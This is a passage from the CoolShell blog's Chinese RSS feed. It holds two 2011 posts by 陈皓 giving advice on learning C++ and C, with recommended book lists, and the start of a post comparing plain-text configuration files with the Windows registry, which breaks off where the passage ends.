class=\"wp_rp_title\">程序员犯的非技术错误(Top 5)</a></li><li ><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C++面试中string类的一种正确写法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_title\">C++面试中string类的一种正确写法</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/2909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"一些鲜为人知的编程事实\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2909.html\" class=\"wp_rp_title\">一些鲜为人知的编程事实</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/19271.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/04/busy.work_-300x166-1-150x150.jpg\" alt=\"“努力就会成功”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19271.html\" class=\"wp_rp_title\">“努力就会成功”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4131.html\">WSDL 1.1 中文规范</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4131.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何学好C++语言</title>\n\t\t<link>https://coolshell.cn/articles/4119.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4119.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 30 Mar 2011 00:50:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4119</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天写了一篇如何学好C语言，就有人回复问我如何学好C++，所以，我把我个人的一些学习经验写在这里，希望对大家有用。首先，因为如何学好C语言中谈到了算法和系统，所...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4119.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4119.html\">如何学好C++语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>昨天写了一篇<a title=\"如何学好C语言\" href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\">如何学好C语言</a>，就有人回复问我如何学好C++，所以，我把我个人的一些学习经验写在这里，希望对大家有用。首先，因为<a title=\"如何学好C语言\" href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\">如何学好C语言</a>中谈到了算法和系统，所以这里就只谈C++语言。</p>\n<ul>\n<li><strong>C++是最难的语言</strong>。这个世界上最难的编程语言可能非C++莫属了。你千万不要以为<a title=\"“21天教你学会C++”\" href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">几天就可以学好C++</a>，C++的学习曲线是相当BT的，你可以看看<a title=\"C++ 程序员自信心曲线图\" href=\"https://coolshell.cn/articles/2287.html\" target=\"_blank\">这篇文章</a>。C++是一门很自由的语言，自由到了有点<a title=\"恐怖的C++语言\" href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">BT和恐怖的地步</a>。我甚至认为C++并不是一门成熟的编程语言，因为太容易犯错了。所以，<strong>你一定要在一开始就要有很小心谨慎的态度，并把C++当成一种难以训服的猛兽来看待</strong>。</li>\n</ul>\n<ul>\n<li><strong>多问“为什么要这样”的问题</strong>。学习C++一定要多问几个“为什么是这样”，“凭什么要这样”的问题。比如：很多人知道C++有拷贝构造函数和初始化列表，但你真的知道为什么要有拷贝构造函数？为什么要有初始化列表吗？为什么要有template，为什么要有RTTI，为什么不是别的呢？难道就是为了让一门语言变得Cool一些吗？完全不是这样的，C++中的任何一个feature都有些实实在在的原因，<strong>你一定要去了解为什么要把C++设计成这样的原因，你才能学好C++</strong>。有空看看《<a href=\"http://product.china-pub.com/5217\" target=\"_blank\">C++演化和设计</a>》一书。</li>\n</ul>\n<p><span id=\"more-4119\"></span></p>\n<ul>\n<li><strong>看书，大量的C++书</strong>。你可以按如下先后顺序阅读（下面这些书，我花了大约4-5年的时间，今天我还在随时温习）\n<ul>\n<li>《<a href=\"http://product.china-pub.com/28767\" target=\"_blank\">C++ Primer</a>》，这本初级读本可能让会你啃得很痛苦，所有的语言的特性和为什么都在里面了，好好读读。当然由C++之父写的《<a href=\"http://product.china-pub.com/196448\" target=\"_blank\">C++程序设计语言</a>》也不错。两本看一本就好了（我看的是前者）。</li>\n<li>了解C++的语法仅仅是万里长征的第一步，你还需要看看《<a href=\"http://product.china-pub.com/197414\" target=\"_blank\">Effective C++</a>》和《<a href=\"http://product.china-pub.com/197665\" target=\"_blank\">More Effective C++</a>》这两本书并不厚，但我从02年就一直看到现在，每次读我都有新的体会，这两本书太经典了。如果你对C语言不熟，这两本书会让你回去补C语言的课。</li>\n<li><a href=\"http://product.china-pub.com/4801\" target=\"_blank\">Think in C++</a>同样是另一本经典之极的书，学c++必读，但是中文版的翻译的很不好，所以还是去读英文版的吧。</li>\n<li>《<a href=\"http://product.china-pub.com/38130&amp;ref=browse\" target=\"_blank\">C++沉思录</a>》同样非常值得一读，这里教的不是编程，而是思考的方法，这是相当珍贵的。</li>\n<li>《<a href=\"http://product.china-pub.com/33333\" target=\"_blank\">Exceptional C++</a>》和《<a href=\"http://product.china-pub.com/197666\" target=\"_blank\">More Exceptional C++</a>》让你看看各种问题的解决方法和一些常见的经典错误。</li>\n<li>《<a href=\"http://product.china-pub.com/16697\" target=\"_blank\">Advanced C++</a>》和《<a href=\"http://product.china-pub.com/9700\" target=\"_blank\">Modern C++</a>》可以让你知道C++各种神奇的用法。</li>\n<li>《<a href=\"http://product.china-pub.com/9864\" target=\"_blank\">泛型编程与STL</a>》是把C++实践到了极致的东西。很强大。STL——神一样的模板库（容器，算法和函数对象），不得不服。</li>\n<li>《<a href=\"http://www.china-pub.com/3290&amp;ref=browse\" target=\"_blank\">深入探索C++对象模型</a>》让你了解编译器下的C++是什么样的，让你了解C++的性能并不差。这个对于C++的程序员太关键了。我以前写过的《<a title=\"C++ 虚函数表解析\" href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\">C++虚函数表解析</a>》还有《<a title=\"C++ 对象的内存布局\" href=\"https://coolshell.cn/articles/12176.html\" target=\"_blank\">C++对象内存布局</a>》属于这个范畴。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li><strong>和Java语言做对比</strong>。我个人以为Java对C++这个并不成熟的语言做了很多调整，规范和限制。所以，对比一下Java和C++，想一想，为什么一些东西在C++中可以做，但在Java中却不行。比如：Java的异常是必需要catch的，不然就会编译不通过。为什么Java不提供操作符重载？为什么Java会引入接口来做多重继承？为什么Java没有像C++那样的I/O字符流？为什么Java不支持指针？为什么Java可以做到垃圾回收？等等。<strong>Java体现着很多面向对象设计的东西，学习Java有助于你学会怎么更好地使用C++来编程</strong>。</li>\n</ul>\n<ul>\n<li><strong>面向对象设计</strong> 。虽然<a title=\"面向对象是个骗局？！\" href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\">面向对象可能是个骗局</a>。但是我觉得面向对象设计中的一些实践非常的不错，比如，单一原则，依赖倒置原则，等等，都非常地经典。《<a href=\"http://product.china-pub.com/25961\" target=\"_blank\">设计模式</a>》必需一读，《<a href=\"http://product.china-pub.com/47106\" target=\"_blank\">面向对象的分析和设计</a>》可以一读。<strong>但不可以设计模式为中心来编程，而应该是用设计模式来解藕</strong>。</li>\n</ul>\n<ul>\n<li><strong>类库学习</strong>。看看MFC是怎么封装Windows API的，看看ACE是怎么面向对象的，看看boost是怎么玩面向对象的，看看CPPUnit又是怎么设计的。当然，<a title=\"JDK里的设计模式\" href=\"https://coolshell.cn/articles/3320.html\" target=\"_blank\">Java的JDK中有太多的设计模式</a>，可以参考。</li>\n</ul>\n<p>希望没有吓到大家，并欢迎大家补充。</p>\n<p><em><strong>—————更新 2011/03/30 19:20————</strong></em></p>\n<p>更新几个观点：</p>\n<ul>\n<li>1）我不擅长写书评，所以推荐的这些书可能会让你有点看点没有感觉，你可以上豆瓣或是China-pub上看看书评。</li>\n<li>2）C++有很多奇淫技巧，有的很BT，包括虚函数表，也许会有人觉得有点没意思，但我觉得很有意思，一方面可以了解一门语言的实现细节，另一方面可以开阔思路。我从学习这些知识中受益很多。</li>\n<li>3）上述是我的个人的学习历程，我觉得对我很有效，所以是经验之谈。</li>\n<li>4）这类的文章在网上有很多很多，我不是第一个写这样的文章，我也不是写得最好的，我并不希望用长篇大论来谈论什么。只是想给大家了解一下大概的学习样子。毕竟，C++博大精深，任何一篇文章都无法说好。不如就简单一些。</li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4119.html\">如何学好C++语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4119.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>175</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何学好C语言</title>\n\t\t<link>https://coolshell.cn/articles/4102.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4102.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 29 Mar 2011 02:25:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4102</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有人在酷壳的留言版上询问下面的问题 keep_walker : 今天晚上我看到这篇文章。 http://programmers.stackexchange.co...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4102.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有人在酷壳的留言版上询问下面的问题</p>\n<blockquote cite=\"https://coolshell.cn/guestbook#commentbody-40269\"><p><a href=\"https://coolshell.cn/guestbook#comment-40269\">keep_walker</a> <strong>:</strong><br />\n今天晚上我看到这篇文章。<br />\n<a onclick=\"pageTracker._trackPageview('/outgoing/programmers.stackexchange.com/questions/62502/small-c-projects?referer=http%3A%2F%2Fcoolshell.cn%2F');\" rel=\"nofollow\" href=\"http://programmers.stackexchange.com/questions/62502/small-c-projects\">http://programmers.stackexchange.com/questions/62502/small-c-projects</a></p>\n<p>我也遇到了和提问的老外一样的问题。。能给像遇到这样烦恼的程序员一点建议嘛？谢谢！</p></blockquote>\n<p>我相信，这可能是很多朋友的问题，我以前也有这样的感觉，编程编到一定的时候，发现能力到了瓶颈，既不深，也不扎实，半吊子。比如：你长期地使用Java和.NET ，这些有虚拟机的语言对于开发便利是便利，但是对于程序员来说可能并不太好，原因有两个：</p>\n<ol>\n<li>虚拟机屏蔽了操作系统的系统调用，以及很多底层机制。</li>\n<li>大量的封装好的类库也屏蔽了很多实现细节。</li>\n</ol>\n<p>一段时间后，你会发现你知其然，不知所以然。。我以前在CSDN上写过一篇《<strong>Java NIO类库Selector机制解析（<a href=\"http://blog.csdn.net/haoel/archive/2008/03/27/2224055.aspx\" target=\"_blank\">上</a>，<a href=\"http://blog.csdn.net/haoel/archive/2008/03/27/2224069.aspx\" target=\"_blank\">下</a>，<a href=\"http://blog.csdn.net/haoel/archive/2008/05/04/2379586.aspx\" target=\"_blank\">续</a>）</strong>》，在那篇文章中我说提到过（有讥讽的语气）Java的程序员不懂底层实现，所以很难把技术学得更扎实。此时，一部分程序员会不自然地想学学底层的技术，很自然的，C语言就被提了上来。</p>\n<p>下面是我给这位朋友的一些建议：</p>\n<p><span id=\"more-4102\"></span></p>\n<ul>\n<li><strong>鼓励并为你叫好</strong>。我鼓励你想要去学C语言的想法和精神，很多人都觉得C语言好学，其实并不然。（你可以看看《<a rel=\"nofollow\" href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">C语言的迷题</a>》）现在的这个社会更多地去关注那些时髦的技术，而忽略了这个流行了40+年的C语言。<strong>一门技术如果能够流行40多年，这才是你需要去关注和学习的技术</strong>，而不是那些刚出来的技术（<a title=\"那些炒作过度的技术和概念\" href=\"https://coolshell.cn/articles/3609.html\" target=\"_blank\">过度炒作的技术</a>，<a title=\"Windows编程革命简史\" href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\">Windows编程史</a>）。这才是踏踏实实的精神。</li>\n</ul>\n<ul>\n<li><strong>不要找借口</strong>。这一条路走下来并不容易，不要给自己找借口。我最不喜欢听到的就是“<strong>很忙，没有时间</strong>”这样的借口。我以前在银行做项目，早9点到晚10点，周一到周六，我一样可以每天抽1个小时来看书和专研，一年下来也能精读5、6本书。我现在的工作项目和招聘任务很紧张，刚生的小孩只有自己和老婆两人带，还需要准备讲课，但是我还是能够找到时间看文章写文章维护酷壳。所以，我可以告诉你，“<strong>时间就像乳沟，只要你肯挤，就一定会有</strong>”。</li>\n</ul>\n<ul>\n<li><strong>学好C语言和系统编程</strong>。我认为，学好编程有四个方面：<strong>语言、算法和数据结构、系统调用和设计</strong>。\n<ul>\n<li><strong>语言</strong>。我可以告诉你C语言有两大主题你要好好学，一个是内存管理，一个是指针！这个世界上90%以上的C/C++出的严重性错误全是和这两个有关。不要看谭浩强的那本书，那本是本烂书。推荐这本书给你《<a href=\"http://product.china-pub.com/14975&amp;ref=browse\" target=\"_blank\">C程序设计语言（第2版·新版）</a><span style=\"font-size: 13px; line-height: 19px;\">》</span></li>\n<li><span style=\"font-size: 13px; line-height: 19px;\"><strong>算法和数据结构</strong>。我认为，用C语言实现算法和数据结构莫过于最爽的事情。推荐你看这本书——<a href=\"http://product.china-pub.com/192975&amp;ref=browse\" target=\"_blank\">算法:C语言实现(第1～4部分)基础知识、数据结构、排序及搜索(原书第3版)</a>，还有那本经典的《<a href=\"http://product.china-pub.com/31701\" target=\"_blank\">算法导论</a>》</span></li>\n<li><span style=\"font-size: 13px; line-height: 19px;\"><a href=\"http://product.china-pub.com/192975&amp;ref=browse\" target=\"_blank\"></a><strong>系统编程</strong>。Windows下推荐两本书——《<a href=\"http://product.china-pub.com/52880\" target=\"_blank\">Windows 程序设计 </a>》和《<a href=\"http://product.china-pub.com/209058\" target=\"_blank\">Windows核心编程</a>》，Unix/Linux下推荐两本书——《<a href=\"http://product.china-pub.com/30181\" target=\"_blank\">Unix高级环境编程</a>》和《<a href=\"http://product.china-pub.com/196770\" target=\"_blank\">Unix网络编程卷1，套接字</a>》《<a href=\"http://product.china-pub.com/196859\" target=\"_blank\">Unix网络编程卷2，进程间通信</a>》尤其是《Unix网络编程》这本书，一通百通，无论Windows还是Unix/Linux，都是一样的。</span></li>\n<li><strong>系统设计</strong>。关于设计方面，我全力推荐《<a href=\"http://product.china-pub.com/197413\" target=\"_blank\">Unix编程艺术</a>》，看完以后，你就明白什么是真正的编程文化了。然后，当你看到Windows的Fans的某些言论时，你就知道什么叫一笑了之了。</li>\n</ul>\n</li>\n</ul>\n<p>如果你能在2-3年内精读完这些书，并全部融会贯通，那么你就明白什么是一览众山小的感觉了！我足足花了5年时间才算是真正全部读完这些书的。最后，祝你好运！努力！</p>\n<p><em><strong>&#8212;&#8212;-更新：2011/03/29 20:00&#8212;&#8212;-</strong></em></p>\n<p>我想，这篇文章主要想告诉大家这么几件事：</p>\n<ul>\n<li>编程编到一定时候，你就需要了解底层系统的机制，否则，知其然不知所以然。</li>\n<li>我没有否定非C的程序员的逻辑，真正的逻辑是——如果你想要了解底层机制，请学习C语言和操作系统。</li>\n<li>40多年的Unix/C影响深远。包括影响了Windows。如果你想一通百通，一定要了解Unix。那是计算机文化真正的根。</li>\n<li>不要肤浅地去思考问题。比如，不要以为一个DBA就不会考虑数据库引擎的内存页面的问题。也不要以为Web程序员就不需要了解后台的服务器和脚本的运行性能以及TCP/IP的问题。</li>\n</ul>\n<p><strong>高手往往都是有很强的系统的基础知识的，表面的东西永远是肤浅的。</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4102.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>267</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>纯文本配置还是注册表</title>\n\t\t<link>https://coolshell.cn/articles/4077.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4077.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 28 Mar 2011 00:42:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[InI]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Register]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4077</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道Unix/Linux下的程序配置文件从来都是纯文本的，你可以自由地修改和查看，他们也没有什么什么XML之类的玩意（参看XML的这两篇文章：一，二），这个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4077.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道Unix/Linux下的程序配置文件从来都是纯文本的，你可以自由地修改和查看，他们也没有什么什么XML之类的玩意（参看XML的这两篇文章：<a title=\"信XML，得永生！\" href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\">一</a>，<a title=\"信XML，得自信\" href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\">二</a>），这个最重要的Unix文化（参看<a title=\"Unix传奇(下篇)\" href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">Unix传奇下篇</a>）40多年来就这么沿续下来了。我很佩服Microsoft的创新能力，一会儿用INI，一会儿用注册表，一会又是用XML，这就是<a title=\"Windows编程革命简史\" href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\">Windows的编程中那“强大”的创新</a>。在网上又看到有人在争论为什么用注册表而不是纯文本，所以，写下这篇文章。</p>\n<h4>引入注册表所谓的原因</h4>\n<p>首先，让我们来看一下为什么微软觉得要使用注册表而不是ini文件，下面是一些其列出来的ini方面的毛病：</p>\n<ul>\n<li>ini文件不支持Unicode</li>\n<li>ini文件的安全权限不够</li>\n<li>ini文件在多进程下存取会有问题</li>\n<li>如果一个进程锁上了这个文件，另一个进程就无法获得，只能出错。</li>\n<li>ini文件只能包含字符串，无法使用二进制</li>\n<li>解析ini文件相对来说性能比较慢，第一次读写都需要把整个文件读入内存，然后再写回去。</li>\n<li>ini文件最大只有32K</li>\n<li>ini文件的默认目录在Windows系统目录下，只能这个目录只能Windows管理员才能访问</li>\n<li>ini只能包含了两层，对于多层不支持。</li>\n<li>把ini文件放在中央服务器上管理很困难。</li>\n</ul>\n<p>而微软说，注册表可以完美地解决这些问题。居然微软只说到了ini文件，但我觉得不单单是ini，所有的以纯文本方式保存配置文件的方法都会出现上述这样的问题。</p>\n<h4>我的观点</h4>\n<p>那么，当你在看到这些言论时，你是怎么想的？你有没有经过自己的独立思考？还是你觉得注册表完美地解决了所有的一切？下面是我的一些观点：</p>\n<p><span id=\"more-4077\"></span></p>\n<ul>\n<li><span style=\"color: #800000;\">首先，我们要知道没有任何一件事是完美的，凡事必然有好的一面，也有不好的一面。</span></li>\n<li><span style=\"color: 